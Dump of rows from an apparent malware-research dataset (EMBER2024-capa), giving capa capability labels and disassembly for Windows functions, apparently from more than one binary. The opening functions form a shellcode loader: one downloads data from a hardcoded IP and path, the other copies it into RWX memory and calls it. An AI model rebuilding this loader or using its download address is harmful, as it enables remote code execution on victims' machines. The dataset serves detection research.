joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbx
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r14, qword [rsp + 0xa0]
xor r12d, r12d
xor r9d, r9d
mov dword [rsp + 0x40], r12d
xor r8d, r8d
mov dword [rsp + 0x44], r12d
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
mov ebx, r12d
mov edi, r12d
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r15, rax
test rax, rax
je 0x1400011ff
mov r8d, 0x1f92
mov qword [rsp + 0x80], rbp
xor r9d, r9d
lea rdx, str.120.78.133.177
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rbp, rax
test rax, rax
je 0x1400011c0
mov dword [rsp + 0x30], pe_nt_image_headers64
lea r8, str._api_stat.json
mov qword [rsp + 0x28], r12
lea rdx, [0x140003260]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov qword [rsp + 0x88], rsi
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rsi, rax
test rax, rax
je 0x1400011af
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], r12d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r12d
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1400011a6
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1400011a6
test r14, r14
je 0x1400011a6
mov qword [rsp + 0x90], r13
lea r13, [r12 - 1]
nop word [rax + rax]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], r12d
mov rcx, rsi
mov dword [rsp + 0x44], r12d
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x14000119b
test rdi, rdi
jne 0x140001154
mov ecx, dword [rsp + 0x40]
add ecx, 1
cmovb rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
jmp 0x14000116a
mov edx, dword [rsp + 0x40]
mov rcx, rdi
add edx, ebx
add edx, 1
cmovb rdx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
je 0x14000119b
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
mov edx, ebx
mov rcx, rsi
add rdx, rax
mov rdi, rax
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x14000119b
add ebx, dword [rsp + 0x44]
cmp dword [rsp + 0x40], r12d
ja 0x140001120
jmp 0x14000119e
mov ebx, r12d
mov r13, qword [rsp + 0x90]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rsi, qword [rsp + 0x88]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rbp, qword [rsp + 0x80]
test ebx, ebx
jne 0x1400011ff
test rdi, rdi
je 0x1400011ff
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400012d0
add rsp, 0x50
pop r15
pop r14
pop r12
pop rdi
pop rbx
ret
test r14, r14
je 0x1400011e3
mov eax, ebx
test rdi, rdi
je 0x1400011e5
mov qword [r14], rdi
jmp 0x1400011e5
Function at 0x140001210
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov qword [rsp + 0x40], 0
nop dword [rax + rax]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call section..text
test eax, eax
je 0x140001230
mov rbx, qword [rsp + 0x40]
test rbx, rbx
je 0x140001230
mov r9d, 0x40
mov edx, eax
mov r8d, 0x3000
mov edi, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x140001280
lea eax, [rsi - 1]
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov r8, rdi
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rdi
xor edx, edx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call rsi
mov rbx, qword [rsp + 0x48]
xor eax, eax
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1404858a0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1404858b0]
mov dword [rax], 1
mov rax, qword [0x1404858c0]
mov dword [rax], 1
mov rax, qword [0x140485800]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140485890]
mov dword [0x1404e300c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [str._nX_]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140485970]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1404853c0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001490
Capabilities:
Initialize winsock library

Disassembly:
push rsi
push rbx
sub rsp, 0x1c8
mov rbx, qword [0x140485900]
mov rax, qword [rbx]
mov qword [rsp + 0x1b8], rax
xor eax, eax
shl r8d, 8
movzx edx, dl
lea rax, [rsp + 0x20]
or r8d, edx
mov rsi, rcx
mov rdx, rax
movzx ecx, r8w
call qword [sym.imp.WS2_32.dll_WSAStartup]
xchg dword [rsi + 4], eax
mov rax, qword [rsp + 0x1b8]
sub rax, qword [rbx]
jne 0x1400014e6
add rsp, 0x1c8
pop rbx
pop rsi
ret
call dbg.__stack_chk_fail
nop
nop dword [rax]

Function at 0x140003020
Capabilities:
Initialize winsock library

Disassembly:
push rsi
push rbx
sub rsp, 0x1c8
mov rbx, qword [0x140485900]
mov rax, qword [rbx]
mov qword [rsp + 0x1b8], rax
xor eax, eax
shl r8d, 8
movzx edx, dl
lea rax, [rsp + 0x20]
or r8d, edx
mov rsi, rcx
mov rdx, rax
movzx ecx, r8w
call qword [sym.imp.WS2_32.dll_WSAStartup]
xchg dword [rsi + 4], eax
mov rax, qword [rsp + 0x1b8]
sub rax, qword [rbx]
jne 0x140003076
add rsp, 0x1c8
pop rbx
pop rsi
ret
call dbg.__stack_chk_fail
nop
nop dword [rax]
Function at 0x14004b0e0
Capabilities:
Initialize winsock library

Disassembly:
push rsi
push rbx
sub rsp, 0x1c8
mov rbx, qword [0x140485900]
mov rax, qword [rbx]
mov qword [rsp + 0x1b8], rax
xor eax, eax
shl r8d, 8
movzx edx, dl
lea rax, [rsp + 0x20]
or r8d, edx
mov rsi, rcx
mov rdx, rax
movzx ecx, r8w
call qword [sym.imp.WS2_32.dll_WSAStartup]
xchg dword [rsi + 4], eax
mov rax, qword [rsp + 0x1b8]
sub rax, qword [rbx]
jne 0x14004b136
add rsp, 0x1c8
pop rbx
pop rsi
ret
call dbg.__stack_chk_fail
nop
nop dword [rax]
Function at 0x14004f140
Capabilities:
Query environment variable

Disassembly:
endbr64
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa8
mov rdi, qword [0x140485900]
mov rax, qword [rdi]
mov qword [rsp + 0x98], rax
xor eax, eax
mov rbx, rcx
mov rsi, rdx
movzx eax, byte [0x1404e31f0]
test al, al
je 0x14004f238
mov rbx, qword [rbx + 0x40f48]
test rbx, rbx
jne 0x14004f195
cmp rsi, qword [0x1404e31f8]
sbb rbx, rbx
and ebx, 0x50
add rbx, 0x14
mov rdx, qword [0x1404e31e8]
test rdx, rdx
je 0x14004f1e0
cmp rdx, rbx
jae 0x14004f1b6
cmp byte [0x1404e31e0], 0
je 0x14004f280
mov rbx, rdx
mov rax, qword [rsp + 0x98]
sub rax, qword [rdi]
jne 0x14004f3d6
mov rax, rbx
add rsp, 0xa8
pop rbx
pop rsi
pop rdi
pop rbp
ret
lea rcx, [0x140385b10]
call sym.getenv
test rax, rax
je 0x14004f2b0
mov rcx, rax
call sym.atoi
test eax, eax
jle 0x14004f2c8
movsxd rcx, eax
mov edx, 1
cmp eax, 1
je 0x14004f228
mov edx, 1
nop word [rax + rax]
add rdx, rdx
cmp rdx, rcx
jb 0x14004f220
mov qword [0x1404e31e8], rdx
jmp 0x14004f1a1
lea rbp, [0x1404e31f0]
mov rcx, rbp
call sym.__cxa_guard_acquire
test eax, eax
je 0x14004f178
cmp byte [rbx + 0x40f08], 1
mov eax, 0xc39c3
je 0x14004f265
sbb rax, rax
and eax, 0x129fa4
mov rcx, rbp
mov qword [0x1404e31f8], rax
call sym.__cxa_guard_release
jmp 0x14004f178
lea rbx, [0x140385b26]
mov ecx, 0x20
mov rdx, rbx
call method.el::Loggers.allowed_el::Level__char_const_
test al, al
jne 0x14004f2d8
mov byte [0x1404e31e0], 1
mov rdx, qword [0x1404e31e8]
jmp 0x14004f1b3
mov qword [0x1404e31e8], 0x800
mov edx, 0x800
jmp 0x14004f1a1
mov ecx, 0x800
jmp 0x14004f212
lea rax, method.el::base::Writer.Writer__
lea rsi, [rsp + 0x20]
pxor xmm0, xmm0
mov rdx, rbx
mov qword [rsp + 0x20], rax
lea rax, str.C:_msys64_home_H_tabo_gui_tabo_src_cryptonote_core_cryptonote_core.cpp
mov rcx, rsi
mov qword [rsp + 0x38], rax
lea rax, str.size_t_cryptonote::core::get_block_sync_size_uint64_t__const
mov qword [rsp + 0x48], rax
xor eax, eax
mov word [rsp + 0x50], ax
lea rax, [0x140385355]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0x20
mov dword [rsp + 0x40], 0x4e7
mov qword [rsp + 0x58], 0
mov byte [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
movups xmmword [rsp + 0x80], xmm0
call method.el::base::Writer.construct_char_const_
cmp byte [rax + 0x40], 0
mov rbx, rax
jne 0x14004f390
mov rcx, rsi
call method.el::base::Writer.Writer__
jmp 0x14004f298
lea rbp, [rax + 0x48]
lea rdx, str.Clamping_block_sync_size_to
mov rcx, rbp
call fcn.14004c150
cmp byte [rbx + 0x40], 0
mov rdx, qword [0x1404e31e8]
je 0x14004f379
mov rcx, rbp
call fcn.14004c070
jmp 0x14004f379
call dbg.__stack_chk_fail
mov rcx, rbx
call sym._Unwind_Resume
nop
nop word cs:[rax + rax]
nop
Function at 0x140066ee0
Capabilities:
Initialize winsock library

Disassembly:
push rsi
push rbx
sub rsp, 0x1c8
mov rbx, qword [0x140485900]
mov rax, qword [rbx]
mov qword [rsp + 0x1b8], rax
xor eax, eax
shl r8d, 8
movzx edx, dl
lea rax, [rsp + 0x20]
or r8d, edx
mov rsi, rcx
mov rdx, rax
movzx ecx, r8w
call qword [sym.imp.WS2_32.dll_WSAStartup]
xchg dword [rsi + 4], eax
mov rax, qword [rsp + 0x1b8]
sub rax, qword [rbx]
jne 0x140066f36
add rsp, 0x1c8
pop rbx
pop rsi
ret
call dbg.__stack_chk_fail
nop
nop dword [rax]

Function at 0x140085a20
Capabilities:
Initialize winsock library

Disassembly:
push rsi
push rbx
sub rsp, 0x1c8
mov rbx, qword [0x140485900]
mov rax, qword [rbx]
mov qword [rsp + 0x1b8], rax
xor eax, eax
shl r8d, 8
movzx edx, dl
lea rax, [rsp + 0x20]
or r8d, edx
mov rsi, rcx
mov rdx, rax
movzx ecx, r8w
call qword [sym.imp.WS2_32.dll_WSAStartup]
xchg dword [rsi + 4], eax
mov rax, qword [rsp + 0x1b8]
sub rax, qword [rbx]
jne 0x140085a76
add rsp, 0x1c8
pop rbx
pop rsi
ret
call dbg.__stack_chk_fail
nop
nop dword [rax]
endbr64
test r8d, r8d
je 0x140085aa0
cmp r8d, 1
je 0x140085a98
xor eax, eax
ret
xor eax, eax
mov qword [rcx], rdx
ret
lea rax, sym.imp.libstdc_6.dll_vtable_for___cxxabiv1::__function_type_info
mov qword [rcx], rax
xor eax, eax
ret

Function at 0x140094b00
Capabilities:
Initialize winsock library

Disassembly:
push rsi
push rbx
sub rsp, 0x1c8
mov rbx, qword [0x140485900]
mov rax, qword [rbx]
mov qword [rsp + 0x1b8], rax
xor eax, eax
shl r8d, 8
movzx edx, dl
lea rax, [rsp + 0x20]
or r8d, edx
mov rsi, rcx
mov rdx, rax
movzx ecx, r8w
call qword [sym.imp.WS2_32.dll_WSAStartup]
xchg dword [rsi + 4], eax
mov rax, qword [rsp + 0x1b8]
sub rax, qword [rbx]
jne 0x140094b56
add rsp, 0x1c8
pop rbx
pop rsi
ret
call dbg.__stack_chk_fail
nop
nop dword [rax]
Function at 0x1400f52e0
Capabilities:
Move file

Disassembly:
endbr64
mov rdx, qword [rdx]
mov rcx, qword [rcx]
jmp sym.mlog_configure_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__bool__unsigned_long_long__unsigned_long_long_::lambda_char_const__unsigned_long_long_1::operator___char_const__unsigned_long_long__const__clone_isra0_
Function at 0x1400fdca0
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
endbr64
push rdi
push rsi
push rbx
sub rsp, 0x60
mov rbx, qword [0x140485900]
xor r9d, r9d
mov rdx, qword [rcx + 8]
mov rax, qword [rbx]
mov qword [rsp + 0x58], rax
xor eax, eax
xor eax, eax
lea rsi, [rsp + 0x30]
lea rdi, [rsp + 0x40]
mov word [rsp + 0x40], ax
mov rax, qword [rcx]
mov r8, rsi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], 0
add rdx, rax
mov rcx, rax
call sym.boost::filesystem::detail::path_traits::convert_char_const__char_const__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t_____std::codecvt_wchar_t__char__int__const_
lea rcx, [rsp + 0x28]
xor r8d, r8d
mov rdx, rsi
call sym.boost::filesystem::detail::status_boost::filesystem::path_const__boost::system::error_code_
mov rcx, qword [rsp + 0x30]
cmp dword [rsp + 0x28], 1
seta sil
cmp rcx, rdi
je 0x1400fdd25
mov rax, qword [rsp + 0x40]
lea rdx, [rax + rax + 2]
call sym.operator_delete_void__unsigned_long_long_
mov rax, qword [rsp + 0x58]
sub rax, qword [rbx]
jne 0x1400fdd52
mov eax, esi
add rsp, 0x60
pop rbx
pop rsi
pop rdi
ret
mov rcx, rsi
mov rdi, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::_M_dispose__
mov rax, qword [rsp + 0x58]
sub rax, qword [rbx]
je 0x1400fdd5d
call dbg.__stack_chk_fail
endbr64
jmp 0x1400fdd3d
mov rcx, rdi
call sym._Unwind_Resume
nop
nop word cs:[rax + rax]
Function at 0x1400fdd70
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
endbr64
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa0
mov rbp, qword [0x140485900]
xor r8d, r8d
mov rax, qword [rbp]
mov qword [rsp + 0x98], rax
xor eax, eax
lea rax, [rsp + 0x70]
mov rsi, rdx
lea rdi, [rsp + 0x60]
mov rdx, rcx
mov rcx, rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 0
mov word [rsp + 0x60], r8w
call method.epee::string_tools.utf8_to_utf16_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rax, qword [rsp + 0x70]
lea rbx, [rsp + 0x80]
mov rcx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x78]
cmp rax, rbx
je 0x1400fdf50
movq xmm0, r8
movhps xmm0, qword [rsp + 0x80]
cmp rcx, rdi
je 0x1400fdf28
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x50], rax
movups xmmword [rsp + 0x58], xmm0
test rcx, rcx
je 0x1400fdf32
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x78], 0
xor eax, eax
mov word [rcx], ax
mov rcx, qword [rsp + 0x70]
cmp rcx, rbx
je 0x1400fde4a
mov rax, qword [rsp + 0x80]
lea rdx, [rax + rax + 2]
call sym.operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400fdf20
mov r12, qword [rsi + 8]
mov rdx, qword [rsi]
lea r9, [rsp + 0x4c]
mov rcx, rax
mov qword [rsp + 0x20], 0
mov r8d, r12d
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
cmp dword [rsp + 0x4c], r12d
je 0x1400fdf00
mov rcx, qword [rsp + 0x50]
cmp rcx, rdi
je 0x1400fded4
mov rax, qword [rsp + 0x60]
lea rdx, [rax + rax + 2]
call sym.operator_delete_void__unsigned_long_long_
mov rax, qword [rsp + 0x98]
sub rax, qword [rbp]
jne 0x1400fdfc6
mov eax, ebx
add rsp, 0xa0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
test esi, esi
setne bl
jmp 0x1400fdebb
xor ebx, ebx
jmp 0x1400fdebb
mov qword [rsp + 0x50], rax
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x70], rbx
lea rbx, [rsp + 0x80]
mov rcx, rbx
jmp 0x1400fde20
test r8, r8
je 0x1400fdf70
cmp r8, 1
je 0x1400fdf90
add r8, r8
mov rdx, rbx
call sym.memcpy
mov r8, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x58], r8
mov word [rcx + r8*2], dx
mov rcx, qword [rsp + 0x70]
jmp 0x1400fde20
movzx eax, word [rsp + 0x80]
mov word [rcx], ax
mov r8, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
jmp 0x1400fdf70
call dbg.__stack_chk_fail
mov rcx, rbx
call sym._Unwind_Resume
nop
nop word cs:[rax + rax]
nop
Function at 0x1400fdfe0
Capabilities:
Get file size
Read file on windows

Disassembly:
endbr64
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa8
mov r12, qword [0x140485900]
mov rax, qword [r12]
mov qword [rsp + 0x98], rax
xor eax, eax
lea rax, [rsp + 0x70]
mov rbp, rdx
mov rdi, r8
lea rsi, [rsp + 0x60]
xor r8d, r8d
mov rdx, rcx
mov rcx, rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 0
mov word [rsp + 0x60], r8w
call method.epee::string_tools.utf8_to_utf16_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rdx, qword [rsp + 0x70]
lea rbx, [rsp + 0x80]
mov rcx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x78]
cmp rdx, rbx
je 0x1400fe1d0
movq xmm0, r8
movhps xmm0, qword [rsp + 0x80]
cmp rcx, rsi
je 0x1400fe1b0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x50], rdx
movups xmmword [rsp + 0x58], xmm0
test rcx, rcx
je 0x1400fe1ba
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x78], 0
xor eax, eax
mov word [rcx], ax
mov rcx, qword [rsp + 0x70]
cmp rcx, rbx
je 0x1400fe0bf
mov rax, qword [rsp + 0x80]
lea rdx, [rax + rax + 2]
call sym.operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400fe11a
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r13d, eax
cmp eax, 0xffffffff
je 0x1400fe111
mov edx, eax
cmp rdi, rdx
jae 0x1400fe160
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
mov rcx, qword [rsp + 0x50]
cmp rcx, rsi
je 0x1400fe135
mov rax, qword [rsp + 0x60]
lea rdx, [rax + rax + 2]
call sym.operator_delete_void__unsigned_long_long_
mov rax, qword [rsp + 0x98]
sub rax, qword [r12]
jne 0x1400fe246
mov eax, ebx
add rsp, 0xa8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
xor r8d, r8d
mov rcx, rbp
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::resize_unsigned_long_long__char_
mov rdx, qword [rbp]
lea r9, [rsp + 0x4c]
mov r8d, r13d
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov edi, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
cmp dword [rsp + 0x4c], r13d
jne 0x1400fe11c
test edi, edi
setne bl
jmp 0x1400fe11c
mov qword [rsp + 0x50], rdx
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x70], rbx
lea rbx, [rsp + 0x80]
mov rcx, rbx
jmp 0x1400fe095
test r8, r8
je 0x1400fe1f0
cmp r8, 1
je 0x1400fe210
add r8, r8
mov rdx, rbx
call sym.memcpy
mov r8, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x58], r8
mov word [rcx + r8*2], dx
mov rcx, qword [rsp + 0x70]
jmp 0x1400fe095
movzx eax, word [rsp + 0x80]
mov word [rcx], ax
mov r8, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
jmp 0x1400fe1f0
call dbg.__stack_chk_fail
endbr64
mov rcx, rax
call sym.__cxa_begin_catch
call sym.__cxa_end_catch
jmp 0x1400fe11a
Function at 0x1400fe270
Capabilities:
Get file size

Disassembly:
endbr64
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa0
mov rbp, qword [0x140485900]
xor r8d, r8d
mov rax, qword [rbp]
mov qword [rsp + 0x98], rax
xor eax, eax
lea rax, [rsp + 0x70]
mov rdi, rdx
lea rsi, [rsp + 0x60]
mov rdx, rcx
mov rcx, rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], 0
mov word [rsp + 0x60], r8w
call method.epee::string_tools.utf8_to_utf16_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov rax, qword [rsp + 0x70]
lea rbx, [rsp + 0x80]
mov rcx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x78]
cmp rax, rbx
je 0x1400fe440
movq xmm0, r8
movhps xmm0, qword [rsp + 0x80]
cmp rcx, rsi
je 0x1400fe418
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x50], rax
movups xmmword [rsp + 0x58], xmm0
test rcx, rcx
je 0x1400fe422
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x78], 0
xor eax, eax
mov word [rcx], ax
mov rcx, qword [rsp + 0x70]
cmp rcx, rbx
je 0x1400fe34a
mov rax, qword [rsp + 0x80]
lea rdx, [rax + rax + 2]
call sym.operator_delete_void__unsigned_long_long_
mov rcx, qword [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400fe410
lea rdx, [rsp + 0x48]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov r12d, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r12d, r12d
jne 0x1400fe3f0
mov rax, qword [rdi]
test rax, rax
setne bl
mov rcx, qword [rsp + 0x50]
cmp rcx, rsi
je 0x1400fe3c7
mov rax, qword [rsp + 0x60]
lea rdx, [rax + rax + 2]
call sym.operator_delete_void__unsigned_long_long_
mov rax, qword [rsp + 0x98]
sub rax, qword [rbp]
jne 0x1400fe4b6
mov eax, ebx
add rsp, 0xa0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsp + 0x48]
mov qword [rdi], rax
jmp 0x1400fe3a8
xor ebx, ebx
jmp 0x1400fe3ae
mov qword [rsp + 0x50], rax
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x70], rbx
lea rbx, [rsp + 0x80]
mov rcx, rbx
jmp 0x1400fe320
test r8, r8
je 0x1400fe460
cmp r8, 1
je 0x1400fe480
add r8, r8
mov rdx, rbx
call sym.memcpy
mov r8, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x58], r8
mov word [rcx + r8*2], dx
mov rcx, qword [rsp + 0x70]
jmp 0x1400fe320
movzx eax, word [rsp + 0x80]
mov word [rcx], ax
mov r8, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
jmp 0x1400fe460
call dbg.__stack_chk_fail
mov rcx, rbx
call sym._Unwind_Resume
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop